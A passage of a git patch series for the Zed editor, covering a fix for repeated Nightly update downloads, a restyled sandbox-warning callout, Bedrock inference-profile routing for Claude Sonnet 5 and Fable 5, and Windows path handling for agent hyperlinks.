+   |                       ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
+
+error: this allocates an owned `String` from a string literal only to convert it into a refcounted string
+  --> $DIR/owned_string_into_shared.rs:31:28
+   |
+LL |     let _g: Cow<'_, str> = "cow-via-to-owned".to_owned().into();
+   |                            ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
+
+error: this allocates an owned `String` from a string literal only to convert it into a refcounted string
+  --> $DIR/owned_string_into_shared.rs:35:9
+   |
+LL |         String::from("this literal is definitely longer than twenty three bytes").into();
+   |         ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
+
+error: aborting due to 8 previous errors
+

From 1a99eba1926a2776cfb39be3dca922cf08483af7 Mon Sep 17 00:00:00 2001
From: Kirill Bulatov <kirill@zed.dev>
Date: Sat, 4 Jul 2026 02:29:01 +0300
Subject: [PATCH 260/772] Do not redownload same Nightly updates over and over
 (#59994)

If one gets a Nightly update but does not restart and rather dismisses
the notification, the next update check will do the update again.

This is caused by the fact that the version check is done based on
semver, but Nightly has the very same version that differs by the SHA
only.
Adjust the Nightly update check to skip re-downloads if SHA parts of the
version match also.

https://github.com/zed-industries/zed/pull/59852 does more changes, this
PR extracts the part I am sure about.

Release Notes:

- N/A
---
 crates/auto_update/src/auto_update.rs  | 171 ++++++++++++-------------
 crates/title_bar/src/update_version.rs |  39 +++---
 2 files changed, 101 insertions(+), 109 deletions(-)

diff --git a/crates/auto_update/src/auto_update.rs b/crates/auto_update/src/auto_update.rs
index 126e75ae838e14..e4c837618d9cc6 100644
--- a/crates/auto_update/src/auto_update.rs
+++ b/crates/auto_update/src/auto_update.rs
@@ -109,12 +109,6 @@ actions!(
     ]
 );
 
-#[derive(Clone, Debug, PartialEq, Eq)]
-pub enum VersionCheckType {
-    Sha(AppCommitSha),
-    Semantic(Version),
-}
-
 #[derive(Serialize, Debug)]
 pub struct AssetQuery<'a> {
     asset: &'a str,
@@ -130,16 +124,16 @@ pub enum AutoUpdateStatus {
     Idle,
     Checking,
     Downloading {
-        version: VersionCheckType,
+        version: Version,
         /// Download progress as a fraction in the range `0.0..=1.0`, or `None`
         /// when the total download size is not yet known.
         progress: Option<f32>,
     },
     Installing {
-        version: VersionCheckType,
+        version: Version,
     },
     Updated {
-        version: VersionCheckType,
+        version: Version,
     },
     Errored {
         error: Arc<anyhow::Error>,
@@ -800,49 +794,33 @@ impl AutoUpdater {
         installed_version: Version,
         fetched_version: String,
         status: AutoUpdateStatus,
-    ) -> Result<Option<VersionCheckType>> {
-        let parsed_fetched_version = fetched_version.parse::<Version>();
-
-        if let AutoUpdateStatus::Updated { version, .. } = status {
-            match version {
-                VersionCheckType::Sha(cached_version) => {
-                    let should_download =
-                        parsed_fetched_version.as_ref().ok().is_none_or(|version| {
-                            version.build.as_str().rsplit('.').next()
-                                != Some(&cached_version.full())
-                        });
-                    let newer_version = should_download
-                        .then(|| VersionCheckType::Sha(AppCommitSha::new(fetched_version)));
-                    return Ok(newer_version);
-                }
-                VersionCheckType::Semantic(cached_version) => {
-                    return Self::check_if_fetched_version_is_newer_non_nightly(
-                        cached_version,
-                        parsed_fetched_version?,
-                    );
-                }
-            }
-        }
+    ) -> Result<Option<Version>> {
+        let fetched_version = fetched_version.parse::<Version>()?;
 
         match release_channel {
             ReleaseChannel::Nightly => {
-                let should_download = app_commit_sha
-                    .ok()
-                    .flatten()
-                    .map(|sha| {
-                        parsed_fetched_version.as_ref().ok().is_none_or(|version| {
-                            version.build.as_str().rsplit('.').next() != Some(&sha)
-                        })
-                    })
-                    .unwrap_or(true);
-                let newer_version = should_download
-                    .then(|| VersionCheckType::Sha(AppCommitSha::new(fetched_version)));
-                Ok(newer_version)
+                let should_download = if let AutoUpdateStatus::Updated { version } = status {
+                    fetched_version != version
+                } else {
+                    let fetched_sha = fetched_version.build.as_str().rsplit('.').next();
+                    app_commit_sha
+                        .ok()
+                        .flatten()
+                        .is_none_or(|sha| fetched_sha != Some(sha.as_str()))
+                };
+                Ok(should_download.then_some(fetched_version))
+            }
+            _ => {
+                let current_version = if let AutoUpdateStatus::Updated { version } = status {
+                    version
+                } else {
+                    installed_version
+                };
+                Ok(Self::check_if_fetched_version_is_newer_non_nightly(
+                    current_version,
+                    fetched_version,
+                ))
             }
-            _ => Self::check_if_fetched_version_is_newer_non_nightly(
-                installed_version,
-                parsed_fetched_version?,
-            ),
         }
     }
 
@@ -905,13 +883,11 @@ impl AutoUpdater {
     fn check_if_fetched_version_is_newer_non_nightly(
         mut installed_version: Version,
         fetched_version: Version,
-    ) -> Result<Option<VersionCheckType>> {
+    ) -> Option<Version> {
         // For non-nightly releases, ignore build and pre-release fields as they're not provided by our endpoints right now.
         installed_version.pre = semver::Prerelease::EMPTY;
         installed_version.build = semver::BuildMetadata::EMPTY;
-        let should_download = fetched_version > installed_version;
-        let newer_version = should_download.then(|| VersionCheckType::Semantic(fetched_version));
-        Ok(newer_version)
+        (fetched_version > installed_version).then_some(fetched_version)
     }
 
     pub fn set_should_show_update_notification(
@@ -1366,7 +1342,7 @@ mod tests {
         assert_eq!(
             status,
             AutoUpdateStatus::Downloading {
-                version: VersionCheckType::Semantic(semver::Version::new(0, 100, 1)),
+                version: semver::Version::new(0, 100, 1),
                 progress: None,
             }
         );
@@ -1397,7 +1373,7 @@ mod tests {
         assert_eq!(
             status,
             AutoUpdateStatus::Updated {
-                version: VersionCheckType::Semantic(semver::Version::new(0, 100, 1))
+                version: semver::Version::new(0, 100, 1)
             }
         );
         let will_restart = cx.expect_restart();
@@ -1550,10 +1526,7 @@ mod tests {
             status,
         );
 
-        assert_eq!(
-            newer_version.unwrap(),
-            Some(VersionCheckType::Semantic(fetched_version))
-        );
+        assert_eq!(newer_version.unwrap(), Some(fetched_version));
     }
 
     #[test]
@@ -1562,7 +1535,7 @@ mod tests {
         let app_commit_sha = Ok(Some("a".to_string()));
         let installed_version = semver::Version::new(1, 0, 0);
         let status = AutoUpdateStatus::Updated {
-            version: VersionCheckType::Semantic(semver::Version::new(1, 0, 1)),
+            version: semver::Version::new(1, 0, 1),
         };
         let fetched_version = semver::Version::new(1, 0, 1);
 
@@ -1583,7 +1556,7 @@ mod tests {
         let app_commit_sha = Ok(Some("a".to_string()));
         let installed_version = semver::Version::new(1, 0, 0);
         let status = AutoUpdateStatus::Updated {
-            version: VersionCheckType::Semantic(semver::Version::new(1, 0, 1)),
+            version: semver::Version::new(1, 0, 1),
         };
         let fetched_version = semver::Version::new(1, 0, 2);
 
@@ -1595,10 +1568,7 @@ mod tests {
             status,
         );
 
-        assert_eq!(
-            newer_version.unwrap(),
-            Some(VersionCheckType::Semantic(fetched_version))
-        );
+        assert_eq!(newer_version.unwrap(), Some(fetched_version));
     }
 
     #[test]
@@ -1608,13 +1578,13 @@ mod tests {
         let mut installed_version = semver::Version::new(1, 0, 0);
         installed_version.build = semver::BuildMetadata::new("a").unwrap();
         let status = AutoUpdateStatus::Idle;
-        let fetched_sha = "1.0.0+a".to_string();
+        let fetched_version = "1.0.0+a".to_string();
 
         let newer_version = AutoUpdater::check_if_fetched_version_is_newer(
             release_channel,
             app_commit_sha,
             installed_version,
-            fetched_sha,
+            fetched_version,
             status,
         );
 
@@ -1627,19 +1597,19 @@ mod tests {
         let app_commit_sha = Ok(Some("a".to_string()));
         let installed_version = semver::Version::new(1, 0, 0);
         let status = AutoUpdateStatus::Idle;
-        let fetched_sha = "b".to_string();
+        let fetched_version = "1.0.0+b".to_string();
 
         let newer_version = AutoUpdater::check_if_fetched_version_is_newer(
             release_channel,
             app_commit_sha,
             installed_version,
-            fetched_sha.clone(),
+            fetched_version.clone(),
             status,
         );
 
         assert_eq!(
             newer_version.unwrap(),
-            Some(VersionCheckType::Sha(AppCommitSha::new(fetched_sha)))
+            Some(fetched_version.parse().unwrap())
         );
     }
 
@@ -1650,15 +1620,15 @@ mod tests {
         let mut installed_version = semver::Version::new(1, 0, 0);
         installed_version.build = semver::BuildMetadata::new("a").unwrap();
         let status = AutoUpdateStatus::Updated {
-            version: VersionCheckType::Sha(AppCommitSha::new("b".to_string())),
+            version: "1.0.0+b".parse().unwrap(),
         };
-        let fetched_sha = "1.0.0+b".to_string();
+        let fetched_version = "1.0.0+b".to_string();
 
         let newer_version = AutoUpdater::check_if_fetched_version_is_newer(
             release_channel,
             app_commit_sha,
             installed_version,
-            fetched_sha,
+            fetched_version,
             status,
         );
 
@@ -1672,43 +1642,72 @@ mod tests {
         let mut installed_version = semver::Version::new(1, 0, 0);
         installed_version.build = semver::BuildMetadata::new("a").unwrap();
         let status = AutoUpdateStatus::Updated {
-            version: VersionCheckType::Sha(AppCommitSha::new("b".to_string())),
+            version: "1.0.0+b".parse().unwrap(),
         };
-        let fetched_sha = "1.0.0+c".to_string();
+        let fetched_version = "1.0.0+c".to_string();
 
         let newer_version = AutoUpdater::check_if_fetched_version_is_newer(
             release_channel,
             app_commit_sha,
             installed_version,
-            fetched_sha.clone(),
+            fetched_version.clone(),
             status,
         );
 
         assert_eq!(
             newer_version.unwrap(),
-            Some(VersionCheckType::Sha(AppCommitSha::new(fetched_sha)))
+            Some(fetched_version.parse().unwrap())
         );
     }
 
+    #[test]
+    fn test_nightly_does_not_redownload_after_updating_to_fetched_version() {
+        let release_channel = ReleaseChannel::Nightly;
+        let installed_version = semver::Version::new(1, 0, 0);
+        let fetched_version = "1.0.0+nightly.b".to_string();
+
+        let newer_version = AutoUpdater::check_if_fetched_version_is_newer(
+            release_channel,
+            Ok(Some("a".to_string())),
+            installed_version.clone(),
+            fetched_version.clone(),
+            AutoUpdateStatus::Idle,
+        )
+        .unwrap()
+        .expect("a newer nightly version should be available");
+
+        let next_check = AutoUpdater::check_if_fetched_version_is_newer(
+            release_channel,
+            Ok(Some("a".to_string())),
+            installed_version,
+            fetched_version,
+            AutoUpdateStatus::Updated {
+                version: newer_version,
+            },
+        );
+
+        assert_eq!(next_check.unwrap(), None);
+    }
+
     #[test]
     fn test_nightly_does_update_when_installed_versions_sha_cannot_be_retrieved() {
         let release_channel = ReleaseChannel::Nightly;
         let app_commit_sha = Ok(None);
         let installed_version = semver::Version::new(1, 0, 0);
         let status = AutoUpdateStatus::Idle;
-        let fetched_sha = "a".to_string();
+        let fetched_version = "1.0.0+a".to_string();
 
         let newer_version = AutoUpdater::check_if_fetched_version_is_newer(
             release_channel,
             app_commit_sha,
             installed_version,
-            fetched_sha.clone(),
+            fetched_version.clone(),
             status,
         );
 
         assert_eq!(
             newer_version.unwrap(),
-            Some(VersionCheckType::Sha(AppCommitSha::new(fetched_sha)))
+            Some(fetched_version.parse().unwrap())
         );
     }
 
@@ -1719,15 +1718,15 @@ mod tests {
         let app_commit_sha = Ok(None);
         let installed_version = semver::Version::new(1, 0, 0);
         let status = AutoUpdateStatus::Updated {
-            version: VersionCheckType::Sha(AppCommitSha::new("b".to_string())),
+            version: "1.0.0+b".parse().unwrap(),
         };
-        let fetched_sha = "1.0.0+b".to_string();
+        let fetched_version = "1.0.0+b".to_string();
 
         let newer_version = AutoUpdater::check_if_fetched_version_is_newer(
             release_channel,
             app_commit_sha,
             installed_version,
-            fetched_sha,
+            fetched_version,
             status,
         );
 
@@ -1741,21 +1740,21 @@ mod tests {
         let app_commit_sha = Ok(None);
         let installed_version = semver::Version::new(1, 0, 0);
         let status = AutoUpdateStatus::Updated {
-            version: VersionCheckType::Sha(AppCommitSha::new("b".to_string())),
+            version: "1.0.0+b".parse().unwrap(),
         };
-        let fetched_sha = "c".to_string();
+        let fetched_version = "1.0.0+c".to_string();
 
         let newer_version = AutoUpdater::check_if_fetched_version_is_newer(
             release_channel,
             app_commit_sha,
             installed_version,
-            fetched_sha.clone(),
+            fetched_version.clone(),
             status,
         );
 
         assert_eq!(
             newer_version.unwrap(),
-            Some(VersionCheckType::Sha(AppCommitSha::new(fetched_sha)))
+            Some(fetched_version.parse().unwrap())
         );
     }
 }
diff --git a/crates/title_bar/src/update_version.rs b/crates/title_bar/src/update_version.rs
index 0c7db0d165fdb7..622572abad3c07 100644
--- a/crates/title_bar/src/update_version.rs
+++ b/crates/title_bar/src/update_version.rs
@@ -1,7 +1,7 @@
 use std::sync::Arc;
 
 use anyhow::anyhow;
-use auto_update::{AutoUpdateStatus, AutoUpdater, UpdateCheckType, VersionCheckType};
+use auto_update::{AutoUpdateStatus, AutoUpdater, UpdateCheckType};
 use gpui::{Empty, Render};
 use semver::Version;
 use ui::{UpdateButton, prelude::*};
@@ -42,14 +42,14 @@ impl UpdateVersion {
         let next_state = match self.status {
             AutoUpdateStatus::Idle => AutoUpdateStatus::Checking,
             AutoUpdateStatus::Checking => AutoUpdateStatus::Downloading {
-                version: VersionCheckType::Semantic(Version::new(1, 99, 0)),
+                version: Version::new(1, 99, 0),
                 progress: Some(0.5),
             },
             AutoUpdateStatus::Downloading { .. } => AutoUpdateStatus::Installing {
-                version: VersionCheckType::Semantic(Version::new(1, 99, 0)),
+                version: Version::new(1, 99, 0),
             },
             AutoUpdateStatus::Installing { .. } => AutoUpdateStatus::Updated {
-                version: VersionCheckType::Semantic(Version::new(1, 99, 0)),
+                version: Version::new(1, 99, 0),
             },
             AutoUpdateStatus::Updated { .. } => AutoUpdateStatus::Errored {
                 error: Arc::new(anyhow!("Network timeout")),
@@ -67,13 +67,8 @@ impl UpdateVersion {
         self.dismissed && self.status.is_updated()
     }
 
-    fn version_tooltip_message(version: &VersionCheckType) -> String {
-        format!("Update to Version: {}", {
-            match version {
-                VersionCheckType::Sha(sha) => sha.full(),
-                VersionCheckType::Semantic(semantic_version) => semantic_version.to_string(),
-            }
-        })
+    fn version_tooltip_message(version: &Version) -> String {
+        format!("Update to Version: {version}")
     }
 }
 
@@ -87,15 +82,15 @@ impl Render for UpdateVersion {
                 UpdateButton::checking().into_any_element()
             }
             AutoUpdateStatus::Downloading { version, progress } => {
-                let version = Self::version_tooltip_message(&version);
+                let version = Self::version_tooltip_message(version);
                 UpdateButton::downloading(version, *progress).into_any_element()
             }
             AutoUpdateStatus::Installing { version } => {
-                let version = Self::version_tooltip_message(&version);
+                let version = Self::version_tooltip_message(version);
                 UpdateButton::installing(version).into_any_element()
             }
             AutoUpdateStatus::Updated { version } => {
-                let version = Self::version_tooltip_message(&version);
+                let version = Self::version_tooltip_message(version);
                 UpdateButton::updated(version)
                     .on_click(|_, _, cx| {
                         workspace::reload(cx);
@@ -124,27 +119,25 @@ impl Render for UpdateVersion {
 }
 #[cfg(test)]
 mod tests {
-    use auto_update::VersionCheckType;
-    use release_channel::AppCommitSha;
     use semver::Version;
 
     use super::*;
 
     #[test]
     fn test_version_tooltip_message() {
-        let message = UpdateVersion::version_tooltip_message(&VersionCheckType::Semantic(
-            Version::new(1, 0, 0),
-        ));
+        let message = UpdateVersion::version_tooltip_message(&Version::new(1, 0, 0));
 
         assert_eq!(message, "Update to Version: 1.0.0");
 
-        let message = UpdateVersion::version_tooltip_message(&VersionCheckType::Sha(
-            AppCommitSha::new("14d9a4189f058d8736339b06ff2340101eaea5af".to_string()),
-        ));
+        let message = UpdateVersion::version_tooltip_message(
+            &"1.0.0+nightly.14d9a4189f058d8736339b06ff2340101eaea5af"
+                .parse()
+                .unwrap(),
+        );
 
         assert_eq!(
             message,
-            "Update to Version: 14d9a4189f058d8736339b06ff2340101eaea5af"
+            "Update to Version: 1.0.0+nightly.14d9a4189f058d8736339b06ff2340101eaea5af"
         );
     }
 }

From d97bbf33699a736c88d2e0ca130fbfa1ea2e9d0a Mon Sep 17 00:00:00 2001
From: Danilo Leal <67129314+danilo-leal@users.noreply.github.com>
Date: Sat, 4 Jul 2026 06:15:51 -0300
Subject: [PATCH 261/772] agent_ui: Use a callout for the sandbox warning
 (#60386)

Just a small tweak to use an existing component where the UI is a bit
tidier.

Release Notes:

- N/A
---
 .../src/conversation_view/thread_view.rs      | 44 ++++---------------
 1 file changed, 8 insertions(+), 36 deletions(-)

diff --git a/crates/agent_ui/src/conversation_view/thread_view.rs b/crates/agent_ui/src/conversation_view/thread_view.rs
index 0f3c18d2245897..42a22219883b86 100644
--- a/crates/agent_ui/src/conversation_view/thread_view.rs
+++ b/crates/agent_ui/src/conversation_view/thread_view.rs
@@ -7937,11 +7937,10 @@ impl ThreadView {
         reason: &SandboxNotAppliedReason,
         cx: &Context<Self>,
     ) -> AnyElement {
-        // (title, optional detail line)
-        let (title, detail): (SharedString, Option<SharedString>) = match reason {
+        let (title, detail): (SharedString, SharedString) = match reason {
             SandboxNotAppliedReason::ErrorLinuxWsl(error) => (
                 "Couldn't create a sandbox".into(),
-                Some(error.user_facing_message().into()),
+                error.user_facing_message().into(),
             ),
             SandboxNotAppliedReason::DisabledForThisThread => {
                 // The grant only exists because an earlier command failed to
@@ -7957,42 +7956,15 @@ impl ThreadView {
                     .unwrap_or_else(|| {
                         "Unsandboxed execution is allowed for the rest of this thread.".into()
                     });
-                ("Ran without sandbox".into(), Some(detail))
+                ("Ran without sandbox".into(), detail)
             }
         };
 
-        h_flex()
-            .px_2()
-            .py_1()
-            .gap_1()
-            .border_t_1()
-            .border_color(cx.theme().status().warning_border)
-            .bg(cx.theme().status().warning_background.opacity(0.5))
-            .child(
-                h_flex()
-                    .min_w_0()
-                    .flex_1()
-                    .gap_1p5()
-                    .items_start()
-                    .child(
-                        Icon::new(IconName::Warning)
-                            .size(IconSize::XSmall)
-                            .color(Color::Warning),
-                    )
-                    .child(
-                        v_flex()
-                            .min_w_0()
-                            .gap_0p5()
-                            .child(Label::new(title).size(LabelSize::Small).color(Color::Muted))
-                            .when_some(detail, |this, detail| {
-                                this.child(
-                                    Label::new(detail)
-                                        .size(LabelSize::XSmall)
-                                        .color(Color::Muted),
-                                )
-                            }),
-                    ),
-            )
+        Callout::new()
+            .severity(Severity::Warning)
+            .icon(IconName::Warning)
+            .title(title)
+            .description(detail)
             .into_any_element()
     }
 

From e3b73c6b30cdc09e820823fe44542b89850d4be1 Mon Sep 17 00:00:00 2001
From: David Irvine <aviddiviner@gmail.com>
Date: Sat, 4 Jul 2026 14:15:01 +0200
Subject: [PATCH 262/772] bedrock: Fix Claude Sonnet 5 and Fable 5 routing
 outside US regions (#60378)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Follow-up to #60360 and #59016 (cc @NeelChotai @bennetbo).

Claude Sonnet 5 and Claude Fable 5 cannot be invoked with on-demand
throughput — AWS requires an inference profile, and only `us.*` and
`global.*` profiles exist for these models ([Sonnet 5 model
card](https://docs.aws.amazon.com/bedrock/latest/userguide/model-card-anthropic-claude-sonnet-5.html),
[Fable 5 model
card](https://docs.aws.amazon.com/bedrock/latest/userguide/model-card-anthropic-claude-fable-5.html)).

For users in EU/APAC regions without `allow_global` enabled, Zed
generated profile IDs like `eu.anthropic.claude-sonnet-5`, which fail
with:

```
ResourceNotFoundException: Model not found.
```

And falling back to the bare model ID isn't an option either, since
direct invocation fails with:

```
Invocation of model ID anthropic.claude-fable-5 with on-demand throughput isn't supported.
Retry your request with the ID or ARN of an inference profile that contains this model.
```

Confirmed against the live AWS API — only `us.*` and `global.*` profiles
exist:

```
❯ aws bedrock list-inference-profiles --region eu-west-1 \
    --query "inferenceProfileSummaries[?contains(inferenceProfileId, 'sonnet-5') || contains(inferenceProfileId, 'fable')].[inferenceProfileId,status]" \
    --output table
------------------------------------------------
|             ListInferenceProfiles            |
+------------------------------------+---------+
|  global.anthropic.claude-sonnet-5  |  ACTIVE |
|  global.anthropic.claude-fable-5   |  ACTIVE |
+------------------------------------+---------+
```

This change removes both models from the EU match arm and routes them
through the global inference profile when no regional profile is
available. US regions continue to use the `us.*` profile. Verified
working from `eu-west-1`.

Note: this means requests from non-US regions route through the global
profile, which may dispatch inference to any supported AWS region.
That's inherent to how AWS exposes these models — there is no
EU-resident option today.

Release Notes:

- Fixed Claude Sonnet 5 and Claude Fable 5 failing on Amazon Bedrock in
non-US regions.

---------

Co-authored-by: Neel <neel@zed.dev>
---
 crates/bedrock/src/models.rs | 23 ++++++++++++++++++-----
 1 file changed, 18 insertions(+), 5 deletions(-)

diff --git a/crates/bedrock/src/models.rs b/crates/bedrock/src/models.rs
index 57c1eea01663c2..ce5241a2dbb02a 100644
--- a/crates/bedrock/src/models.rs
+++ b/crates/bedrock/src/models.rs
@@ -765,11 +765,9 @@ impl Model {
 
             // EU region inference profiles
             (
-                Self::ClaudeFable5
-                | Self::ClaudeOpus4_8
+                Self::ClaudeOpus4_8
                 | Self::ClaudeOpus4_7
                 | Self::ClaudeOpus4_6
-                | Self::ClaudeSonnet5
                 | Self::ClaudeSonnet4_6
                 | Self::ClaudeSonnet4_5
                 | Self::ClaudeSonnet4
@@ -811,6 +809,8 @@ impl Model {
                 "apac",
             ) => Ok(format!("{}.{}", region_group, model_id)),
 
+            (Self::ClaudeFable5 | Self::ClaudeSonnet5, _) => Ok(format!("global.{}", model_id)),
+
             // Default: use model ID directly
             _ => Ok(model_id.into()),
         }
@@ -876,13 +876,26 @@ mod tests {
             Model::ClaudeOpus4_8.cross_region_inference_id("eu-west-1", false)?,
             "eu.anthropic.claude-opus-4-8"
         );
+        Ok(())
+    }
+
+    #[test]
+    fn test_inference_profile_only_models_fall_back_to_global() -> anyhow::Result<()> {
         assert_eq!(
             Model::ClaudeFable5.cross_region_inference_id("eu-west-1", false)?,
-            "eu.anthropic.claude-fable-5"
+            "global.anthropic.claude-fable-5"
         );
         assert_eq!(
             Model::ClaudeSonnet5.cross_region_inference_id("eu-west-1", false)?,
-            "eu.anthropic.claude-sonnet-5"
+            "global.anthropic.claude-sonnet-5"
+        );
+        assert_eq!(
+            Model::ClaudeFable5.cross_region_inference_id("ap-southeast-2", false)?,
+            "global.anthropic.claude-fable-5"
+        );
+        assert_eq!(
+            Model::ClaudeSonnet5.cross_region_inference_id("ap-northeast-1", false)?,
+            "global.anthropic.claude-sonnet-5"
         );
         Ok(())
     }

From 6e9ff7a4f31ad4baa467058765f5fee00e4c2bc7 Mon Sep 17 00:00:00 2001
From: di404 <fuyingdi@126.com>
Date: Sun, 5 Jul 2026 11:54:54 +0800
Subject: [PATCH 263/772] Fix agent hyperlinks do not open files (#56283)

## Summary

Fix agent message hyperlinks that point to Windows file paths but are
not parsed as openable project paths.

This covers links like:

```md
[Cargo.toml](</C:/Projects/Example Workspace/Cargo.toml:2>)
[filename.ext](C:\Projects\Example%20Workspace\path\to\filename.ext:42)
[AGENTS.md](</c/Projects/Example Workspace/AGENTS.md>)
```

## Problem

Agent responses can emit Markdown hyperlinks whose targets are Windows
paths rather than `file://` URLs. Some of those targets include a
leading slash before the drive (`/C:/...`), Git Bash/MSYS-style drive
prefixes (`/c/...`), percent-escaped spaces, or line suffixes. These
were not normalized before mention parsing, so clicking the hyperlink
could do nothing instead of opening the file.

## Solution

- Normalize hyperlink path targets before parsing them as `MentionUri`
paths.
- Decode percent escapes in bare path targets so `%20` becomes a literal
space before path/line parsing.
- Convert Windows-compatible hyperlink paths such as `/C:/...` and
`/c/...` into native Windows paths.
- Generate file resource links from `find_path_tool` through
`MentionUri::to_uri()` instead of hand-building `file://` strings.

## Result

Before: clicking agent path hyperlinks did not open the referenced file.

After:


https://github.com/user-attachments/assets/6c7fad77-4a1e-4497-a4f9-4a4fdf86d527


## Validation

- `cargo test -p acp_thread test_parse_windows --features test-support`
- `cargo fmt --check`

## Follow-up changes

Additions on top of the original work above:

- Moved the hyperlink heuristics into a dedicated
`MentionUri::parse_hyperlink` entry point. `MentionUri::parse` stays
strict, so canonical mention URIs round-trip verbatim and other callers
(message editor, thread deserialization, resource links) are unaffected.
- Percent escapes that decode to path separators (`%2F`, `%5C`) are left
encoded, so decoding can never change which directories a path
traverses.
- Bare paths with escapes are ambiguous (a file may literally be named
`a%20b.rs`): `open_link` prefers the decoded interpretation and falls
back to `MentionUri::parse_hyperlink_literal` when the decoded path
doesn't resolve in the project but the literal one does.
- Links to files outside the project's worktrees now open, gated by an
async existence check through the project `Fs` (correct for remote
projects; broken links no longer create empty buffers or add worktrees).
`open_link` and the mention-crease open path are unified into one
`open_abs_path_at_point`, which now also places the cursor for
out-of-project selection/symbol links.
- `grep_tool` resource links also go through `MentionUri::to_uri()` now,
fixing malformed `file://C:\...` URIs and unencoded spaces.
- Added tests: percent-escape disambiguation, out-of-project link
opening, drive-letter normalization, UNC paths, and literal-path parsing
(`cargo test -p acp_thread mention`, `cargo test -p agent_ui open_link`,
`cargo test -p agent grep_tool`); manually verified the link spellings
above on Windows.

Release Notes:

- Fixed agent path hyperlinks on Windows when paths contain spaces or
shell-style drive prefixes.

---------

Co-authored-by: Martin Ye <martin@zed.dev>
---
 crates/acp_thread/src/mention.rs              | 616 ++++++++++++++++--
 crates/agent/src/tools/find_path_tool.rs      |   6 +-
 crates/agent/src/tools/grep_tool.rs           |  34 +-
 crates/agent_ui/src/agent_ui.rs               |  56 +-
 .../src/conversation_view/thread_view.rs      | 151 ++++-
 crates/agent_ui/src/ui/mention_crease.rs      |  41 +-
 6 files changed, 770 insertions(+), 134 deletions(-)

diff --git a/crates/acp_thread/src/mention.rs b/crates/acp_thread/src/mention.rs
index b5e6ab90ab9686..93e7b4d846b7c7 100644
--- a/crates/acp_thread/src/mention.rs
+++ b/crates/acp_thread/src/mention.rs
@@ -83,33 +83,6 @@ impl MentionUri {
             .and_then(|input| input.strip_suffix('`'))
             .unwrap_or(input);
 
-        fn parse_line_range(fragment: &str) -> Result<RangeInclusive<u32>> {
-            let range = fragment.strip_prefix("L").unwrap_or(fragment);
-
-            let (start, end) = if let Some((start, end)) = range.split_once(":") {
-                (start, end)
-            } else if let Some((start, end)) = range.split_once("-") {
-                // Also handle L10-20 or L10-L20 format
-                (start, end.strip_prefix("L").unwrap_or(end))
-            } else {
-                // Single line number like L1872 - treat as a range of one line
-                (range, range)
-            };
-
-            let start_line = start
-                .parse::<u32>()
-                .context("Parsing line range start")?
-                .checked_sub(1)
-                .context("Line numbers should be 1-based")?;
-            let end_line = end
-                .parse::<u32>()
-                .context("Parsing line range end")?
-                .checked_sub(1)
-                .context("Line numbers should be 1-based")?;
-
-            Ok(start_line..=end_line)
-        }
-
         let parse_column =
             |input: Option<String>| -> Option<u32> { input?.parse::<u32>().ok()?.checked_sub(1) };
         let validate_query_params = |url: &Url, allowed: &[&str]| -> Result<()> {
@@ -121,37 +94,6 @@ impl MentionUri {
             Ok(())
         };
 
-        let parse_absolute_path = |input: &str| -> Result<Self> {
-            let (path_input, fragment) = input
-                .split_once('#')
-                .map_or((input, None), |(path, fragment)| (path, Some(fragment)));
-
-            if let Some(fragment) = fragment.and_then(|fragment| parse_line_range(fragment).ok()) {
-                return Ok(MentionUri::Selection {
-                    abs_path: Some(path_input.into()),
-                    line_range: fragment,
-                    column: None,
-                });
-            }
-
-            let path_with_position = PathWithPosition::parse_str(path_input);
-            let abs_path = path_with_position.path;
-            if let Some(row) = path_with_position.row {
-                let line = row
-                    .checked_sub(1)
-                    .context("Line numbers should be 1-based")?;
-                Ok(MentionUri::Selection {
-                    abs_path: Some(abs_path),
-                    line_range: line..=line,
-                    column: path_with_position
-                        .column
-                        .map(|column| column.saturating_sub(1)),
-                })
-            } else {
-                Ok(MentionUri::File { abs_path })
-            }
-        };
-
         if is_absolute(input, path_style) && !input.contains("://") {
             return parse_absolute_path(input)
                 .with_context(|| format!("Invalid absolute path mention URI: {input}"));
@@ -168,7 +110,10 @@ impl MentionUri {
                 };
                 let decoded = decode(trimmed).unwrap_or(Cow::Borrowed(trimmed));
                 let normalized: Cow<str> = if path_style.is_windows() {
-                    Cow::Owned(decoded.replace('/', "\\"))
+                    match to_native_windows_path(&decoded) {
+                        Some(native) => Cow::Owned(native),
+                        None => decoded,
+                    }
                 } else {
                     decoded
                 };
@@ -337,6 +282,56 @@ impl MentionUri {
         }
     }
 
+    /// Parses a hyperlink target from agent-authored Markdown.
+    ///
+    /// Unlike [`MentionUri::parse`] — which stays strict so canonical mention
+    /// URIs round-trip verbatim — bare path targets are normalized first:
+    /// percent escapes are decoded (see [`decode_path_escapes`]) and
+    /// Windows-compatible spellings like `/C:/foo` or `/c/foo` become native
+    /// paths (see [`to_native_windows_path`]).
+    pub fn parse_hyperlink(input: &str, path_style: PathStyle) -> Result<Self> {
+        if let Some(target) = bare_path_target(input, path_style) {
+            return parse_hyperlink_path(target, path_style, DecodePercentEscapes::Yes)
+                .with_context(|| format!("Invalid hyperlink path target: {input}"));
+        }
+        Self::parse(input, path_style)
+    }
+
+    /// Returns the literal (un-decoded) interpretation of a bare-path
+    /// hyperlink target, for files whose names literally contain an escape
+    /// sequence (e.g. `a%20b.rs`). Returns `None` when this wouldn't differ
+    /// from [`MentionUri::parse_hyperlink`], including for URLs, whose
+    /// escapes are unambiguous.
+    pub fn parse_hyperlink_literal(input: &str, path_style: PathStyle) -> Option<Self> {
+        let target = bare_path_target(input, path_style)?;
+        let (path_input, _) = split_path_fragment(target);
+        if !matches!(decode_path_escapes(path_input), Cow::Owned(_)) {
+            return None;
+        }
+        parse_hyperlink_path(target, path_style, DecodePercentEscapes::No).ok()
+    }
+
+    /// The absolute path this mention refers to, if it refers to one.
+    pub fn abs_path(&self) -> Option<&Path> {
+        match self {
+            MentionUri::File { abs_path }
+            | MentionUri::Directory { abs_path }
+            | MentionUri::Symbol { abs_path, .. } => Some(abs_path),
+            MentionUri::Selection { abs_path, .. } => abs_path.as_deref(),
+            MentionUri::Skill {
+                skill_file_path, ..
+            } => Some(skill_file_path),
+            MentionUri::PastedImage { .. }
+            | MentionUri::Thread { .. }
+            | MentionUri::Rule { .. }
+            | MentionUri::Diagnostics { .. }
